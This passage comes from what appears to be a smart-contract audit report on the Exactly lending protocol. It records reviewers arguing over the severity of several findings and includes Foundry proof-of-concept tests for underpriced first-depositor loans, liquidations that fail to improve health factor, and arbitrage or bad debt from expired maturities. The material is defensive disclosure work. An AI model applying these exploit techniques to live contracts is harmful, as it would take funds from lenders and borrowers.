Utilization ratio is borrows / assets. When assets == 0, this is borrows / 0. It goes to infinity (1) if borrows != 0. If borrows == 0, it's 0/0, which should also go to 1 to protect the protocol (using 0 would favor borrowers). Run the following POC to verify how the utilization ratios are 0 but there are 10_000 deposits and 6_400 borrows:

```
function test_POC_WrongUtilizationRatio_WhenAssetsAreZero() external {
  market.deposit(10_000 ether, address(this));
  market.borrow(10_000 ether * 8 * 8 / 10 / 10, address(this), address(this));

  uint256 assets = market.previewFloatingAssetsAverage();
  uint256 debt = market.floatingDebt();
  uint256 backupBorrowed = market.floatingBackupBorrowed();

  /*
    function globalUtilization(uint256 assets, uint256 debt, uint256
↪   backupBorrowed) internal pure returns (uint256) {
      return assets != 0 ? (debt + backupBorrowed).divWadUp(assets) : 0;
    }
    function floatingUtilization(uint256 assets, uint256 debt) internal pure
↪   returns (uint256) {
      return assets != 0 ? debt.divWadUp(assets) : 0;
    }
  */
  uint256 globalUtilization = assets != 0 ? (debt +
↪   backupBorrowed).divWadUp(assets) : 0;
  uint256 floatingUtilization = assets != 0 ? debt.divWadUp(assets) : 0;

  assertEq(market.totalAssets(), 10_000 ether);
  assertEq(market.floatingDebt(), 10_000 ether * 8 * 8 / 10 / 10);
  assertEq(globalUtilization, 0);
  assertEq(floatingUtilization, 0);
}
```

sherlock-admin3

> Escalate
>
> Utilization ratio is borrows / assets. When assets == 0, this is borrows / 0. It goes to infinity (1) if borrows != 0. If borrows == 0, it's 0/0, which should also go to 1 to protect the protocol (using 0 would favor borrowers). Run the following POC to verify how the utilization ratios are 0 but there are 10_000 deposits and 6_400 borrows:
>
> ```
> function test_POC_WrongUtilizationRatio_WhenAssetsAreZero() external {
>   market.deposit(10_000 ether, address(this));
>   market.borrow(10_000 ether * 8 * 8 / 10 / 10, address(this),
> ↪   address(this));
>
>   uint256 assets = market.previewFloatingAssetsAverage();
>   uint256 debt = market.floatingDebt();
>   uint256 backupBorrowed = market.floatingBackupBorrowed();
>
>   /*
>     function globalUtilization(uint256 assets, uint256 debt, uint256
> ↪   backupBorrowed) internal pure returns (uint256) {
>       return assets != 0 ? (debt + backupBorrowed).divWadUp(assets) : 0;
>     }
>     function floatingUtilization(uint256 assets, uint256 debt) internal
> ↪   pure returns (uint256) {
>       return assets != 0 ? debt.divWadUp(assets) : 0;
>     }
>   */
>   uint256 globalUtilization = assets != 0 ? (debt +
> ↪   backupBorrowed).divWadUp(assets) : 0;
>   uint256 floatingUtilization = assets != 0 ? debt.divWadUp(assets) : 0;
>
>   assertEq(market.totalAssets(), 10_000 ether);
>   assertEq(market.floatingDebt(), 10_000 ether * 8 * 8 / 10 / 10);
>   assertEq(globalUtilization, 0);
>   assertEq(floatingUtilization, 0);
> }
> ```

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

santipu03

The utilization rate doesn't get updated instantly because it's using the average of deposited assets instead of the current assets, and that is the intended design of the protocol. This report describes a byproduct of that mechanism that won't have much impact because in the worst case, it will allow a user in a new market to take a loan with a lower interest rate than it should.

This issue can be classified as a design improvement suggestion but I don't think it should be more than low severity because the current design may be suboptimal but it doesn't imply a loss of funds.

0x73696d616f

Firstly, I would like to mention that I agree with this statement

> The utilization rate doesn't get updated instantly because it's using the average of deposited assets instead of the current assets, and that is the intended design of the protocol.

The intended design of the protocol is indeed using average assets, and I am not disputing this. Now, on to the following statement

> This report describes a byproduct of that mechanism that won't have much impact because in the worst case, it will allow a user in a new market to take a loan with a lower interest rate than it should.

This issue is not a byproduct of the mechanism at all. Just makes it more likely, but is not the point of it. Please note that this issue would still exist WITHOUT the mechanism. Initially or at any time really, as long as assets are 0, when there are no deposits (there may be debt), the utilization rate will always be 0, so users may take any loan, as big as they want, for the lowest fee, while the protocol is close to insolvency.

Now, onto the fact that @santipu03 is trying to diminish the impact of this issue, which is issuing loans with the lowest interest rate possible when the protocol is close to insolvency. There will be times where the assets are 0, being one of these times the initial period (a fix for this was also mentioned in the report, in the recommendation).

During these times, it's important for the protocol to protect itself from borrowers and insolvency risk by increasing the utilization rate and corresponding fee when borrowing.

In a market with an adjust factor of 0.9, the protocol could have 1000 collateral and 900 debt, and still have an utilization rate of 0 and thus issue loans with the lowest interest rates possible!

I don't think it is acceptable at all for the protocol to be close to insolvency and issue loans with the lowest interest rate possible, it goes against the whole design of the interest rate model.

When the borrowed amounts are closed to the deposits, the protocol should protect itself by increasing interest rates and disincentivize borrows, which is clearly broken here.

Leave this up to the person deciding the escalations, I don't think any further clarification is needed.

santipu03

When the assets are zero, it's not possible to have debt on the market, this is enforced in `borrow`:

```
if (floatingBackupBorrowed + newFloatingDebt > floatingAssets.mulWadDown(1e18 -
↪  reserveFactor)) {
  revert InsufficientProtocolLiquidity();
}
```

After this is clear, I only see this issue exploitable when a user is the first depositor on the market and it executes a deposit and a borrow in the same block. Because the utilization uses the average of deposited assets, it will result in zero, and this will cause interest rates to be lower than they should.

Now, because this issue will only be triggered on a new market, I don't think it's going to cause the claimed risk of insolvency.

0x73696d616f

> After this is clear, I only see this issue exploitable when a user is the first depositor on the market and it executes a deposit and a borrow in the same block

Does not have to be the first depositor, the market may have 0 assets at any point.

> Because the utilization uses the average of deposited assets, it will result in zero, and this will cause interest rates to be lower than they should.

It's not because they use the average, but due to incorrectly assuming assets == 0 means 0 utilization rate, which is obviously wrong and heavily favors borrowers, increasing the protocol's risk of insolvency.

> Now, because this issue will only be triggered on a new market, I don't think it's going to cause the claimed risk of insolvency.

It does not matter if it is triggered on a new market or old market or whatever. As long as it allows you reaching a state with possibly 1000 collateral and 900 debt, and the interest rate is 0, the market is close to insolvency. This state is dangerous and can not be disregarded.

santipu03

> Does not have to be the first depositor, the market may have 0 assets at any point.

Realistically, the market only has strictly 0 assets at the start, and never again, even if the pool is abandoned, there are usually some dust assets due to rounding.

> It's not because they use the average, but due to incorrectly assuming assets == 0 means 0 utilization rate, which is obviously wrong and heavily favors borrowers, increasing the protocol's risk of insolvency.

Well, when assets are 0, the utilization rate should be also 0 because there cannot be any borrowed funds due to the check I showed you before. The root cause of this issue is that the protocol assumes that when the average of assets is 0, the utilization is 0, which cannot be true as demonstrated in your report.

Still, I admit that this issue can be exploitable because when a new market is deployed, a user can take a fixed loan with a minimum interest rate. Given the impact of this issue is partly similar to 67 but it can only be triggered once when the market is deployed, I see this issue as a borderline low/medium.

0x73696d616f

> Realistically, the market only has strictly 0 assets at the start, and never again, even if the pool is abandoned, there are usually some dust assets due to rounding.

This may not always be the case, but the market may be left in the incorrect state regardless of it.

> Well, when assets are 0, the utilization rate should be also 0 because there cannot be any borrowed funds due to the check I showed you before.

I can not agree with this part. 0/0 is not 0 and should never favour borrowers. 0/0 is an indetermination and should be resolved by favouring the protocol, hence not returning 0. As it currently returns 0, it will lead to an exploitable state where the protocol is at the highest utilization ratio (1000 collateral and 900 debt), but is giving out loans with the lowest interest possible.

> The root cause of this issue is that the protocol assumes that when the average of assets is 0, the utilization is 0, which cannot be true as demonstrated in your report.

Not sure whay you mean but I proved that my claims are true, at least when the market is deployed.

> Given the impact of this issue is partly similar to 67 but it can only be triggered once when the market is deployed, I see this issue as a borderline low/medium.

I think the impact is bigger. If this is exploited to take a big loan with very low interest at the beginning, the protocol will reach the state where it is closest to insolvency. I say this because #67 means the attacker may take a loan with some interest rate that is too low for its loan, but here it takes the loan with the lowest interest rate possible, guaranteed.

The likelihood / times of ocurrence may be lower but keep in mind that this exploit is very profitable for a borrower.

0x73696d616f

> If I'm not mistaken, when the utilization is 0 (assets are 0), the interest rates should also be at the lowest point.

Just pointing out that your reason to close this issue is false as proven by the comments above. 0/0 is not 0 and should be the maximum in this case to protect the protocol, as you agree its important. Not the lowest. This is the core of this issue.

santipu03

I disagree with your argument that taking a loan with the lowest interest rate possible leads to insolvency. The trusted admins are in charge of setting the correct adjust factors for each token so that if the adjust factor is set at 0.9, it's assumed that it is safe to have 1000 collateral and 900 debt because the market is stable. Having a market with the highest utilization ratio doesn't mean that the market is close to insolvency, it just means that most of the funds are borrowed.

However, being able to take a loan with a lower interest rate than it should be I think it warrants a medium severity because lenders are being paid less than expected.

Then we have the likelihood of this issue occurring. As I pointed out before, the only possible scenario where this issue can be exploited is when the market is newly deployed and the first depositor makes a big deposit and a fixed borrow in the same block. Because of this issue, that user will take a fixed loan with the lowest interest rate possible because the average of floating assets will be 0 at that moment.

Taking all of this into account, I consider the impact to be medium and the likelihood to be extremely low, and that's why I think the overall severity of this issue is a borderline low/medium. The head of judging will have the final say.

0x73696d616f

> I disagree with your argument that taking a loan with the lowest interest rate possible leads to insolvency. The trusted admins are in charge of setting the correct adjust factors for each token so that if the adjust factor is set at 0.9, it's assumed that it is safe to have 1000 collateral and 900 debt because the market is stable. Having a market with the highest

> utilization ratio doesn't mean that the market is close to insolvency, it just means that most of the funds are borrowed.

This is not the core part of this issue, but it is closer to insolvency anyway.

> the likelihood to be extremely low

I completely disagree with this statement. The market always goes through deployment and the incorrect state, so the likelihood can not be low.

cvetanovv

Even if the assets are only zero when the market is deployed, I think this issue can be Medium severity.

I disagree that the likelihood is small. The likelihood is the same as a First depositor Inflation attack.

Here, the impact is lower, but it still allows a user to take advantage of a loan with a lower interest rate than it should be. This will lead to potential losses for lenders.

Planning to accept the escalation and make this issue a Medium severity.

santipu03

@cvetanovv I agree that the attacker is able to take a fixed loan for a lower interest rate when the market is deployed. However, the only lender on the market at that point is the attacker so the liquidity taken for the loan is from the same attacker, meaning the only affected user of this exploit would be the attacker.

0x73696d616f

@santipu03 there can be several attackers. And the protocol would be in a high borrowing / utilization state while having the lowest interest rates on loans.

santipu03

This attack is only possible at the market deployment because after a few blocks have passed, the average of floating assets has gotten much closer to the deposited floating assets, so the utilization rate is updated and interest rates are correct. The only impact will be that a fixed loan will have a lower interest rate, but the liquidity used for that loan will be the attacker's liquidity.

From what I can see, the attacker will pay fewer fees for a loan but those fees should go directly to him, so, in the end, it's like self-griefing.

0x73696d616f

> The only impact will be that a fixed loan will have a lower interest rate, but the liquidity used for that loan will be the attacker's liquidity.

There may be more and honestly it does not matter. What I am saying is, the high utilization ratio of the market is not justified by the current interest the loans are earning. The market is heavily utilized, but the current loans are at the lowest interest.

> From what I can see, the attacker will pay fewer fees for a loan but those fees should go directly to him, so, in the end, it's like self-griefing.

The point of a loan in the perspective of a borrower is not earning fees. The loan he's got has the lowest interest rate, which is exactly what he wants.

etherSky111

> Even if the assets are only zero when the market is deployed, I think this issue can be Medium severity.
>
> I disagree that the likelihood is small. The likelihood is the same as a First depositor Inflation attack.
>
> Here, the impact is lower, but it still allows a user to take advantage of a loan with a lower interest rate than it should be. This will lead to potential losses for lenders.
>
> Planning to accept the escalation and make this issue a Medium severity.

@cvetanovv , what about this comment from sponsor? https://github.com/sherlock-audit/2024-04-interest-rate-model-judging/issues/176#issuecomment-2121372742 Exactly team will be first depositor on every market.

cvetanovv

> > Even if the assets are only zero when the market is deployed, I think this issue can be Medium severity. I disagree that the likelihood is small. The likelihood is the same as a First depositor Inflation attack. Here, the impact is lower, but it still allows a user to take advantage of a loan with a lower interest rate than it should be. This will lead to potential losses for lenders. Planning to accept the escalation and make this issue a Medium severity.
>
> @cvetanovv , what about this comment from sponsor? #176 (comment) Exactly team will be first depositor on every market.

I can't consider this comment a "Source of truth" because it was written after the audit ended.

Is it written somewhere in the documentation? If there is, this issue is invalid.

0x73696d616f

@etherSky111 the average assets will still be 0, the issue is valid regardless.

And the information from the sponsor was given after the end of the contest.

cvetanovv

I did not find any information before the audit that the protocol would mint and burn shares at every market deployment.

Remains my initial decision to accept the escalation

santipu03

If I'm not missing something, I believe this issue doesn't have any real impact.

As we've agreed before, the only impact this issue has is that when a market is deployed, an attacker can be its first depositor and take a fixed loan with a lower interest rate than usual. Usually, an impact like this (manipulating interest rates) is categorized as medium severity because it implies a loss of fees for lenders. However, at the time of the exploit, the only lender is the attacker so this issue impacts no other users.

In other words, the attacker is paying less fees for a loan, but those fees should go to him, so the potential damage only affects the attacker.

What do you think about this issue @santichez?

0x73696d616f

Your comment is completely false as the fees become unassigned and will later be coverted to floating assets, over time (or until someone deposits at maturity). Thus he is effectively stealing fees.

santichez

Even though the impact might seem low, the issue looks valid to me. Exactly will be minting shares as the first deposit every time a new market is enabled, but I understand the fact that this wasn't explicitly commented on our docs.

santipu03

> Your comment is completely false as the fees become unassigned and will later be coverted to floating assets, over time (or until someone deposits at maturity). Thus he is effectively stealing fees.

I agree with this statement, I'm sorry I missed that part.

However, I've found that the interest rate is actually lower when the average assets are higher than zero, thus confronting the root cause of this issue, which is that the first depositor will get a fixed loan with the lowest interest rate.

```
function test_POC_BorrowAtMaturity_LowestRate() external {
  uint256 assets = 10_000 ether;
  uint256 borrow = 10_000 ether / 2;
  ERC20 asset = market.asset();
  deal(address(asset), ALICE, assets + 1);
  uint256 maturity = FixedLib.INTERVAL * 2;
  vm.startPrank(ALICE);

  uint256 snapshot = vm.snapshot();

  // First depositor gets a fixed loan with average assets being 0
  market.deposit(assets, ALICE);
  assertEq(market.previewFloatingAssetsAverage(), 0);
  uint256 assetsOwed = market.borrowAtMaturity(maturity, borrow,
↪   type(uint256).max, ALICE, ALICE);
  assertEq(assetsOwed - borrow, 76.712328767123285000e18); // Fixed interest is
↪   ~76e18

  vm.revertTo(snapshot);

  // First depositor gets a fixed loan with average assets being equal to the
↪   deposited assets
  market.deposit(assets, ALICE);
  skip(1 days);
  assertEq(market.previewFloatingAssetsAverage(), assets);
  assetsOwed = market.borrowAtMaturity(maturity, borrow, type(uint256).max,
↪   ALICE, ALICE);
  assertEq(assetsOwed - borrow, 75.342465753424655000e18); // Fixed interest is
↪   ~75e18
}
```

@0x73696d616f Do you know how is this possible? I believe this may be a behavior of the IRM but I'm not sure.

0x73696d616f

I tested this in the POC of the issue, it leads to less debt. The diff is in your poc, you're depositing, waiting and then borrowing. My poc above is waiting, depositing and borrowing.

0x73696d616f

It's because of `block.timestamp` being `1 days` bigger. `assets.mulWadDown(fixedRate.mulDivDown(maturity - block.timestamp, 365 days));` It's a smaller loan duration.

santipu03

But in your original PoC, if you uncomment the line `skip(1 days)`, the assets owed actually decrease, not increase. And the fee amounts are the same as in my POC, so the difference is also based on the shorter loan?

> I tested this in the POC of the issue, it leads to less debt.

Sir, I'd like to believe this has been a mistake on your part because your PoC directly contradicts the claims you've been making for the last week on this issue.

0x73696d616f

Ok so the irm is mocked, so the rate is always the same. Can confirm my original poc decreases, instead of increasing due to the loan duration. My mistake, the claims are still valid. Change the irm from mocked to a real one and the fee calculation to `maturity` only and it works.

```
function test_POC_BorrowAtMaturity_LowestRate_Test() external {
market.setInterestRateModel(
  new InterestRateModel(
    Parameters({
      minRate: 3.5e16,
      naturalRate: 8e16,
      maxUtilization: 1.1e18,
      naturalUtilization: 0.75e18,
      growthSpeed: 1.1e18,
      sigmoidSpeed: 2.5e18,
      spreadFactor: 0.2e18,
      maturitySpeed: 0.5e18,
      timePreference: 0.01e18,
      fixedAllocation: 0.6e18,
      maxRate: 15_000e16
    }),
    Market(address(0))
  )
);

uint256 assets = 10_000 ether;
uint256 borrow = 10_000 ether / 2;
ERC20 asset = market.asset();
deal(address(asset), ALICE, assets + 1);
uint256 maturity = FixedLib.INTERVAL * 2;
vm.startPrank(ALICE);

uint256 snapshot = vm.snapshot();

// First depositor gets a fixed loan with average assets being 0
market.deposit(assets, ALICE);
assertEq(market.previewFloatingAssetsAverage(), 0);
uint256 assetsOwed = market.borrowAtMaturity(maturity, borrow,
↪  type(uint256).max, ALICE, ALICE);
assertEq(assetsOwed - borrow, 26849315068493150000); // Fixed interest is ~76e18

vm.revertTo(snapshot);
// First depositor gets a fixed loan with average assets being equal to the
↪  deposited assets
market.deposit(assets, ALICE);
skip(1 days);
assertEq(market.previewFloatingAssetsAverage(), assets);
assetsOwed = market.borrowAtMaturity(maturity, borrow, type(uint256).max, ALICE,
↪  ALICE);
assertEq(assetsOwed - borrow, 32487218504212110000); // Fixed interest is ~75e18
}
```

santipu03

The test is failing:

```
[FAIL. Reason: assertion failed: 31907089602351180000 != 32487218504212110000]
↪  test_POC_BorrowAtMaturity_LowestRate_Test() (gas: 3346837)
```

0x73696d616f

Did you change the line in the market? `fee = assets.mulWadDown(fixedRate.mulDivDown(maturity, 365 days));`

0x73696d616f

I just ran it and it works.

santipu03

Do I have to change a line in the Market for the PoC to work?

0x73696d616f

yes, to simulate the duration of the loan being the same.

0x73696d616f

If it is bigger without changing the line, it is valid anyway.

0x73696d616f

> Sir, I'd like to believe this has been a mistake on your part because your PoC directly contradicts the claims you've been making for the last week on this issue.

Btw this is false because even if the interest rate was the same/lower, it would be a bug of the irm. It makes no sense for the interest rate to be lower given a much higher utilization ratio, something would be off.

santipu03

After checking this last PoC, I agree that the bug is triggered and the attack is feasible, this issue warrants medium severity.

cvetanovv

After the discussion and the Lead Judge agreement, my decision remains to accept the escalation and make this issue a Medium severity.

Evert0x

Result: Medium Unique

sherlock-admin4

Escalations have been resolved successfully!

Escalation status:

- 0x73696d616f: accepted

Issue M-14: Liquidation does not prioritize lowest LTV tokens

Source: https://github.com/sherlock-audit/2024-04-interest-rate-model-judging/issues/155

The protocol has acknowledged this issue.

Found by

0x73696d616f, santiellena

Summary

The protocol does not prioritize repayment of debt in partial liquidations in the lowest Loan-To-Value tokens which leads to inefficient liquidations in which health factor because the average Risk-Adjust Factor is not improved and puts the protocol in bad debt and a liquidation crisis risk.

Vulnerability Detail

At the moment of calculating the health factor, the user's collateral balance (in `ETH`) is multiplied by each asset's adjust factor and divided by the user's debt which is also divided by this adjust factor.

When liquidations are triggered, the liquidator decides in which asset the borrower will pay (choosing the seize market). However, there are not checks to see if that seize will improve health factor. When the borrower is collateralized through multiple assets, its borrowing power depends on the amount of collateral deposited and the average Risk-Adjust factor of all deposited assets. If a liquidator lowers this average Risk-Adjust factor by using as seize market the one that has the highest LTV asset in the borrower basket, the health factor of the borrower will decrease or not improve letting the liquidator liquidate the borrower again.

A precise mathematical explanation of how it works can be found on the math paper: ![[risk-adjust-factor-exactly.png]]

For example, let's say we deposited: 100 ETH of value in DAI with an adjusted factor of 0.9; 100 ETH of value in ETH with an adjusted factor of 0.3. Then, we borrow 42 ETH in DAI and 21 ETH in ETH. Consider at this point just for the practical example that the value of DAI is 2 ETH.

- The adjusted collateral will be equal to: `100*0.9 + 100*0.3 = 120`
- The adjusted debt will be equal to: ‘42/0.9 + 21/0.3 = 116.66
- The health factor will be equal to: `120/116.66 = 1.02`

The price of DAI drops and its value now is 1 ETH and now we have the same amount of debt in each asset (21 ETH in DAI and 30 ETH in ETH).

- The adjusted collateral will be equal to: `50*0.9 + 100*0.3 = 75`
- The adjusted debt will be equal to: `21/0.9 + 21/0.3 = 93.33`
- The health factor will be equal to: `75/93.33 = 0.80`

Partial liquidation can be triggered in two ways:

1) Clearing the borrower DAI debt This means that the token minted by the market that has DAI as underlying asset will be burned from the borrower account (the actual calculation process is a little bit different but the concept is the same).

   Burning 21 ETH in value of DAI (at this point the conversion is 1:1) taking into account liquidator fee:

   - The adjusted collateral will be equal to: `(29 - 21*0.05)*0.9 + 100*0.3 = 55.15`
   - The adjusted debt will be equal to: `21/0.3 = 70`
   - The health factor will be equal to: `55.15/70 = 0.78`

2) Clearing the borrower ETH debt Burning 21 ETH in value of ETH (at this point the conversion is 1:1) taking into account liquidator fee:

   - The adjusted collateral will be equal to: `50*0.9 + (79 - 21*0.05)*0.3 = 68.38`
   - The adjusted debt will be equal to: `21/0.9 = 23.33`
   - The health factor will be equal to: `68.68/23.33 = 2.93`

In the case N°1, a minimized example of what occurs in the liquidation process is shown. However, for a more precise example refer to the PoC and to the math paper: https://docs.exact.ly/resources/math-paper#id-6.-liquidations. Liquidations should always improve the Heath Factor.

A conceptual (not exact) explanation of this vulnerability: https://youtu.be/AD2IF8ovE-w?si=nUgUn5berQdDgRN2t=1884.

Given this scenario, in Exactly, the liquidator decides which asset the borrower will use to pay the debt. In this protocol and in many others, the possibility to execute partial liquidations is introduced to return the account to solvency as fast as possible and involve the least liquidation possible. The problem with this is that the protocol is allowing liquidators to lower the Health Factor of borrowers unnecessarily, benefiting liquidators and harming the borrower and the protocol, even putting the protocol in risk of a liquidation crisis.

Health factor after liquidations should always improve.

Proof of Concept/Code: Add `import { console } from "forge-std/console.sol"` to `test/Market.t.sol`

Add the following test on `test/Market.t.sol`

```
function testLiquidationDoesntImproveHealthFactor() public {
  // modify adjust factor from set up
  auditor.setAdjustFactor(marketWETH, 0.3e18); // risk factor for some volatile
↪   asset e.g OP
  auditor.setAdjustFactor(market, 0.9e18); // risk factor for some stablecoin

  // providing some liquidity
  marketWETH.deposit(100_000 ether, address(this));
  market.deposit(100_000 ether, address(this));

  assertEq(market.balanceOf(ALICE), 0);
  assertEq(marketWETH.balanceOf(ALICE), 0);

  // adding collateral to borrower account (ALICE)
  market.deposit(15_000 ether, ALICE);
  marketWETH.deposit(15_000 ether, ALICE);

  assertEq(market.balanceOf(ALICE), 15_000 ether);
  assertEq(marketWETH.balanceOf(ALICE), 15_000 ether);

  // entering both markets so when checking account liquidity both deposits are
↪   considered
  vm.startPrank(ALICE);
  auditor.enterMarket(marketWETH);
  auditor.enterMarket(market);
  vm.stopPrank();

  // setting DAI price to twice the price of ETH so then it drops and the value
↪   is the same
  // (just to make calculations easier)
  daiPriceFeed.setPrice(2e18);

  // taking some debt in both assets
  vm.startPrank(ALICE);
  marketWETH.borrow(4000 ether, ALICE, ALICE);
  market.borrow(8000 ether, ALICE, ALICE);
  vm.stopPrank();

  // DAI price drops, ALICE is liquidatable
  daiPriceFeed.setPrice(1e18);
  (uint256 collateral, uint256 debt) = auditor.accountLiquidity(ALICE,
↪  Market(address(0)), 0);
  uint256 healthFactorBefore = (collateral * 1e18) / debt;

   // ALICE is liquidated and the seize market is the highest LTV asset
  vm.prank(BOB);
  market.liquidate(ALICE, 6000 ether, market); // @audit-info changing the seize
↪  market to WETH will make the HF go up

  (collateral, debt) = auditor.accountLiquidity(ALICE, Market(address(0)), 0);
  uint256 healthFactorAfter = (collateral * 1e18) / debt;

  console.log("Balance market after liq: ", market.balanceOf(ALICE));
  console.log("Balance marketweth after liq: ", marketWETH.balanceOf(ALICE));

  console.log("HF Before:", healthFactorBefore);
  console.log("HF After:", healthFactorAfter);

  // HEALTH FACTOR NOT IMPROVED!!!
  assert(healthFactorBefore >= healthFactorAfter);
 }
```

Impact

Liquidators could unfairly liquidate borrowers no improving their health factor to liquidate them again. The protocol is at risk of a liquidation crisis.

Code Snippet

https://github.com/sherlock-audit/2024-04-interest-rate-model/blob/8f6ef1b0868d3ea3a98a5ab7e8b3a164857681d7/protocol/contracts/Market.sol#L538-L614
https://github.com/sherlock-audit/2024-04-interest-rate-model/blob/8f6ef1b0868d3ea3a98a5ab7e8b3a164857681d7/protocol/contracts/Auditor.sol#L195-L255

Tool used

Manual Review

Recommendation

Add a check in the `liquidate` function to ensure that the health factor is improved after liquidation. A view function could be added so liquidators can check which markets can be used as seize market. However, addressing this issue can be complicated and could involve design decisions that I am not the one to propose.

Discussion

0x73696d616f

Escalate

This is not a duplicate of #117. It does not identify that the adjusted factor is not adjusted for the repay and seize market. Even if you pick the lowest LTV token, the resulting target health will not be 1.25, as the math is not accounting for the picked repay and seize markets.

sherlock-admin3

> Escalate
>
> This is not a duplicate of #117. It does not identify that the adjusted factor is not adjusted for the repay and seize market. Even if you pick the lowest LTV token, the resulting target health will not be 1.25, as the math is not accounting for the picked repay and seize markets.

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

santiellena

Completely agree with @0x73696d616f

santipu03

> This is not a duplicate of https://github.com/sherlock-audit/2024-04-interest-rate-model-judging/issues/117. It does not identify that the adjusted factor is not adjusted for the repay and seize market. Even if you pick the lowest LTV token, the resulting target health will not be 1.25, as the math is not accounting for the picked repay and seize markets.

According to your comment here, this issue should be a dup of #117 because the root cause is that a borrower has collateral in several markets but the liquidator can only choose one of them to seize/repay.

0x73696d616f

> By the same rule, it should also be a duplicate of https://github.com/sherlock-audit/2024-04-interest-rate-model-judging/issues/117 right? All three root causes are that a borrower has collateral in several markets but a liquidator can only pick one of them to seize/repay.

This would be true if the rest of the comment also applied here, which is not the case. What I mean by the root cause being having several markets is that both

#155 and #116 are strictly attributing as root cause this fact. So while #117 would not happen if there was a single market, ultimately this is not its root cause. #117 attributes the root cause to the incorrect math consideration of not adjusting the average health factor to the adjust factor of the markets to repay and seize. This becomes clear after realizing that the fix for #155 fixes #116, but does not fix #117.

#155 and #116 -> implement cross market liquidations and both are fixed. Or, as #155 suggested, accept this risk but check the post liquidation health factor. This will ensure/mitigate neither the liquidator/protocol take losses (as explained in #155) nor the borrower takes advantage of this (#116).

#117 -> Adjust the health factor to the seize and repay markets, which will ensure that the target health is always 1.25. Neither reports mention a single word about this.

This is the dupping that makes sense.

santipu03

I agree that #155 and #117 have different root causes and #116 should be a duplicate of #155.

cvetanovv

I agree with the comments. Because of the different root causes, I will remove the duplication with #117.

Planning to accept the escalation and remove the duplication with #117. Also, #116 would be a duplicate of this issue.

Evert0x

Result: Medium Has Duplicates

sherlock-admin4

Escalations have been resolved successfully!

Escalation status:

- 0x73696d616f: accepted

Issue M-15: Expired maturities longer than `FixedLib.INTERVAL` with unaccrued earnings may be arbitraged and/or might lead to significant bad debt creation

Source: https://github.com/sherlock-audit/2024-04-interest-rate-model-judging/issues/158

The protocol has acknowledged this issue.

Found by

0x73696d616f, BowTiedOriole, Emmanuel, Trumpero, elhaj

Summary

`Market::totalAssets()` only accounts for the unassigned earnings of maturities that are in the future or during the past interval. Thus, if a maturity is repaid which was due more than 1 `INTERVAL`, `totalAssets()` will not account for it. This will impact users due to arbitrage and create bad debt during liquidations as collateral will be leftover, making it impossible to clean the bad debt.

Vulnerability Detail

`Market::totalAssets()` includes the unassigned earnings up to `block.timestamp - (block.timestamp % FixedLib.INTERVAL);`, disregarding past maturities.

`Market::repayAtMaturity()` will convert into `floatingAssets` the past unassigned earnings, no matter how late the repayment is.

This discrepancy allows attackers to arbitrage the `Market` with minimal exposure (by sandwiching) the repayment.

Possible worse, it will lead to a lot of bad debt creation, as liquidations preview the `seizeAvailable` of a liquidatee in `Auditor::checkLiquidation()`, but the actual collateral balance of the user will be bigger due to the unaccrued earnings being converted to `floatingAssets`.

The following 2 POCs demonstrate both scenarios, add the tests to `Market.t.sol`:

```
function test_POC_expired_maturities_LeftoverCollateral() external {
  uint256 maturity = FixedLib.INTERVAL * 2;
  uint256 assets = 10_000 ether;
  ERC20 asset = market.asset();
  deal(address(asset), ALICE, 2*assets);

  // ALICE deposits and borrows at maturity
  vm.startPrank(ALICE);
  market.deposit(assets, ALICE);
  market.borrowAtMaturity(maturity, assets*78*78/100/100, type(uint256).max,
↪   ALICE, ALICE);
  vm.stopPrank();

  skip(2*maturity);

  // BOB deposits just to clear earnings accumulator and floating debt,
  // which would impact calculations. The discrepancy in totalAssets()
  // will be only due to floatingAssets increase by repaying maturities
  // It also deposits collateral to pay the liquidator
  vm.prank(BOB);
  market.deposit(assets, BOB);

  // ALICE has more debt than collateral, so all collateral should be seized
  (uint256 aliceAssets, uint256 aliceDebt) = market.accountSnapshot(ALICE);
  assertGt(aliceDebt, aliceAssets);

  address liquidator = makeAddr("liquidator");
  deal(address(asset), liquidator, 100_000 ether);
  vm.startPrank(liquidator);
  asset.approve(address(market), type(uint256).max);
  market.liquidate(ALICE, type(uint256).max, market);
  vm.stopPrank();

  // ALICE has leftover shares due to the floating assets increase
  // when paying the due maturity, so some debt will never be repaied
  (aliceAssets, aliceDebt) = market.accountSnapshot(ALICE);
  assertEq(aliceAssets, 46671780821917806592); // 46e18 assets
  assertEq(aliceDebt, 4005059259761449851306); // 4005e18 debt
}


function test_POC_expired_maturities_may_be_arbitraged() external {
  uint256 maturity = FixedLib.INTERVAL * 2;
  uint256 assets = 10_000 ether;
  ERC20 asset = market.asset();
  deal(address(asset), ALICE, 2*assets);

  // ALICE deposits and borrows at maturity
  vm.startPrank(ALICE);
  market.deposit(assets, ALICE);
  market.borrowAtMaturity(maturity, assets*78*78/100/100, type(uint256).max,
↪   ALICE, ALICE);
  vm.stopPrank();
```

```
    skip(maturity + FixedLib.INTERVAL + 1);

    // BOB frontruns ALICE's repayment
    vm.prank(BOB);
    uint256 bobShares = market.deposit(assets, BOB);

    // ALICE Repays, accruing the unassigned earnings to floating assets
    vm.prank(ALICE);
    market.repayAtMaturity(maturity, type(uint256).max, type(uint256).max, ALICE);

    // BOB got free assets
    assertEq(market.previewRedeem(bobShares), 10046671780821917806594);
  }
```

Impact

Risk free arbitrage by attackers and significant bad debt creation which may not be cleared on liquidations.

Code Snippet

https://github.com/sherlock-audit/2024-04-interest-rate-model/blob/main/protocol/contracts/Market.sol#L478-L479 https://github.com/sherlock-audit/2024-04-interest-rate-model/blob/main/protocol/contracts/Market.sol#L786 https://github.com/sherlock-audit/2024-04-interest-rate-model/blob/main/protocol/contracts/Market.sol#L929-L941 https://github.com/sherlock-audit/2024-04-interest-rate-model/blob/main/protocol/contracts/Auditor.sol#L219 https://github.com/sherlock-audit/2024-04-interest-rate-model/blob/main/protocol/contracts/Auditor.sol#L248

Tool used

Manual Review

Vscode

Foundry

Recommendation

Convert the unaccrued earnings to `earningsAccumulator` instead of directly to floating assets. In `Market::totalAssets()`, remove the section of previewing unaccrued earnings, as they will go through the `earningsAccumulator` and can not be arbitraged.

Issue M-16: `rewardData.releaseRate` is incorrectly calculated on `RewardsController::config()` when `block.timestamp > start` and `rewardData.lastConfig != rewardData.start`

